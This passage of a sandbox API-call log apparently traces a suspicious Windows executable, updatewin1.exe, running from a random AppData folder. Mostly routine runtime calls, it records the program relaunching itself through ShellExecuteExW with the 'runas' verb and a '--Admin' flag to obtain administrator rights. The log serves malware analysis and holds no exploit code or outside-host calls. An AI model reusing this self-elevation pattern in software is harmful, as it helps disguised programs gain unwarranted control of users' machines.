0x5ec230 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x5ed7f8 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6c) returned 0x5ec2d0 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6e) returned 0x5ec348 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x78) returned 0x5d1180 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x62) returned 0x5ec3c0 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d52d0 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ec430 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x5ea158 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1a) returned 0x5ebd10 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4a) returned 0x5ec480 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x72) returned 0x5d1200 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5308 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d5340 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1c) returned 0x5ebd38 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd2) returned 0x5ec4d8 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x7c) returned 0x5ec5b8 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5ec640 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3a) returned 0x5ed840 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x90) returned 0x5ec680 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5ec718 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5378 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5ec748 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ec788 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ec7d8 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5ed888 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x82) returned 0x5ec838 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d53b0 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5ebd60 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2c) returned 0x5d53e8 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5ec8c8 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ec928 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d5420 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5ed8d0 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5ec988 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5ec9e8 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5458 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x8c) returned 0x5eca18 [0053.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ecd08 | out: hHeap=0x5c0000) returned 1 [0053.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5ecab0 [0053.799] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.799] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0053.806] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0053.807] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" " [0053.807] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" ", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x5ed2b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" [0053.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x5ed388 [0053.807] lstrcpyW (in: lpString1=0x18e5a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" [0053.807] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd") returned 1 [0053.807] lstrcpyW (in: lpString1=0x18eda0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0053.807] ShellExecuteExW (in: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0054.054] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed388 | out: hHeap=0x5c0000) returned 1 [0054.054] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.054] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ea0d0 | out: hHeap=0x5c0000) returned 1 [0054.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ecab0 | out: hHeap=0x5c0000) returned 1 [0054.055] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.055] GetLastError () returned 0x57 [0054.055] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f56c | out: phModule=0x18f56c) returned 0 [0054.055] ExitProcess (uExitCode=0x0) [0054.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ea9e8 | out: hHeap=0x5c0000) returned 1 [0054.058] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 51 os_tid = 0x878 Thread: id = 52 os_tid = 0x87c Thread: id = 53 os_tid = 0x880 Thread: id = 54 os_tid = 0x884 Process: id = "7" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" page_root = "0x27350000" os_pid = "0x888" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x86c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 55 os_tid = 0x88c [0054.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xb2ca5750, dwHighDateTime=0x1d55a45)) [0054.114] GetCurrentProcessId () returned 0x888 [0054.114] GetCurrentThreadId () returned 0x88c [0054.114] GetTickCount () returned 0x114707f [0054.114] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17440150694) returned 1 [0054.120] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.120] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x300000 [0054.121] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.121] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.121] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.121] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.121] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0054.122] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.122] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.122] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.122] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.122] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.122] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.122] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.122] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.122] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.122] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.123] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.123] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.123] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.123] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.123] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.123] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x214) returned 0x3007d0 [0054.123] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.124] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.124] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.124] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.124] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.124] GetCurrentThreadId () returned 0x88c [0054.124] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0x3009f0 [0054.124] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.124] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.124] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.124] SetHandleCount (uNumber=0x20) returned 0x20 [0054.124] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" --Admin" [0054.124] GetEnvironmentStringsW () returned 0x5d4e78* [0054.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0054.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x565) returned 0x3011f8 [0054.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3011f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0054.125] FreeEnvironmentStringsW (penv=0x5d4e78) returned 1 [0054.125] GetLastError () returned 0x0 [0054.125] SetLastError (dwErrCode=0x0) [0054.125] GetLastError () returned 0x0 [0054.125] SetLastError (dwErrCode=0x0) [0054.125] GetLastError () returned 0x0 [0054.125] SetLastError (dwErrCode=0x0) [0054.125] GetACP () returned 0x4e4 [0054.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x220) returned 0x301768 [0054.125] GetLastError () returned 0x0 [0054.125] SetLastError (dwErrCode=0x0) [0054.125] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.125] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0054.125] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0054.125] GetLastError () returned 0x0 [0054.125] SetLastError (dwErrCode=0x0) [0054.125] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0054.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.125] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0054.125] GetLastError () returned 0x0 [0054.126] SetLastError (dwErrCode=0x0) [0054.126] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赳뱕㞕AĀ") returned 256 [0054.126] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赳뱕㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.126] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赳뱕㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¤\x17\x90½\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0054.126] GetLastError () returned 0x0 [0054.126] SetLastError (dwErrCode=0x0) [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赳뱕㞕AĀ") returned 256 [0054.126] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赳뱕㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.126] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 